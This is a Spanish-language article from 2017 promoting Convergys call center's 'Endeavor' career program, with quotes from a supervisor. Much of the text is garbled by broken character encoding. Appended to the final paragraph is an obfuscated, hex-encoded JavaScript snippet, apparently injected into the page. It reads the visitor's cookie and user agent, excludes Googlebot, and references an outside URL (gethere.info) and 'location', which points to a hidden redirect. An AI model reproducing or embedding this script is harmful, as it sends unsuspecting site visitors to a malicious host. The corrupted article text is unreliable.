Oportunidades

19 Jul 2017
Oportunidades | Por: Redacción

AcA? te contamos cA?mo te podAi??s hacer gerente de cuentas antes de los 30 aAi??os.

Este centro de llamadas no solo tiene las mejores oportunidades laborales, con excelentes bonos, sino que ademA?s te permitirA? crecer profesionalmente. A?Te imaginA?s llegar a ser supervisor de una de las empresas de software mA?s grande en el mundo? SabAi?? mA?s.

A travAi??s del programa ai???Endeavorai???, Convergys ofrece a todos sus colaboradores la oportunidad de desarrollarse profesionalmente. Este programa A?nico y con la marca de ai???Coolest Job Everai??? brinda informaciA?n, herramientas y las guAi??as necesarias para formar una carrera de Ai??xito dentro de este call center.

Esto le sucediA? a la supervisora de la cuenta, Laura Alvarenga, a quien su supervisor le comentA? sobre la oportunidad de unirse al programa y decidiA? tomar el reto para crecer dentro de Convergys.

ai???EmpecAi?? en el nivel junior, donde te dan herramientas para manejar el volumen de llamadas, como hacer mA?s productivo el capital humano; DespuAi??s de esto me pasAi?? a ai???Endeavor Plusai???, que ya es con un perspectiva mA?s de negocios; te enseAi??an de finanzas, manejar volumen de gente, cA?mo distribuir a tu personal. Creo que no son cosas que solo te ayudan en negocios de ai???call centersai???, sino que tambiAi??n afuera porque ya tenAi??s como una perspectiva de un negocioai???, detallA? Laura.

Endeavor tiene cuatro A?reas de acciA?n, siendo Junior, Analytic, Plus y Elite. Donde en cada una de las etapas se ofrece a los que trabajan en Convergys una mentorAi??a personalizada de expertos en cada tema; y se asegura que el aprendizaje es totalmente prA?ctico, los participantes ai???aprenden haciendoai???.

AsAi?? mismo, Laura explicA?: ai???Creo que es un programa sA?per bueno porque motiva a los empleados. Yo empecAi?? tomando llamadas, luego me movAi?? al sector de ai???qualityai???, control de calidad, evaluando llamadas y despuAi??s tuve la oportunidad de moverme a ai???managerai???, ya evaluando un equipo de 15 o mA?s personasai???.

De acuerdo al programa de Convergys, en ai???Endeavor Analyticai???, los participantes obtienen las herramientas relacionados al manejo y anA?lisis de datos, desarrollando de esta manera habilidades en Excel y Powerpoint; especialmente para la interpretaciA?n de datos en las A?reas operativas y financieras.

Mientras que, en ai???Edeavor Plusai??? es un punto de partida para desarrollar competencias necesarias para ser ai???supervisorai???. Se dan a conocer los procedimientos, polAi??ticas y responsabilidades diarias del cargo.

ai???Si estA?s estudiando en la universidad, las podes aplicar lo que aprendAi??s en el programa. Por ejemplo, si te gustan los nA?meros, ves la parte de finanzas; cA?mo pagarle a la gente, cA?mo distribuir el dinero, cuA?ntas llamadas necesitas para generar tanto porcentaje, es como bien dinA?mico. Y tambiAi??n, si estudiA?s algo relacionado a recursos humanos o el manejo de personal te funciona, porque te metes al A?rea. Por si fuera poco, aprendAi??s sobre procesos legales. Es bien integral el programaai???, explicA? Laura.

Y, durante la fase de ai???Endeavor Eliteai???, cada uno de los empleados conoce de polAi??ticas, procedimientos y responsabilidades de gerente de operaciones. Se forman con el objetivo de preparar, apoyar y reforzar la confianza de los empleados que aspiran al puesto de trabajo.

Laura agregA?: ai???Tengo amigos en otros call centers, y les he comentado del programa de Endeavor, ellos me dicen que no tienen un programa similar. Es una iniciativa que solo Convergys tiene. En el programa hay varios mentores que te dan clases, material, ejercicios; es como que estuvieras en la universidadai???.

Si vos tambiAi??n querAi??s trabajar en Convergys y participar en ai???Endeavorai???, este call center estA? abierto de lunes a viernes desde las 8am a 5pm frente al Redondel Salvador del Mundo; sino podAi??s tambiAi??n encontrarlos en Facebook, Twitter, Instagram o su pA?gina web.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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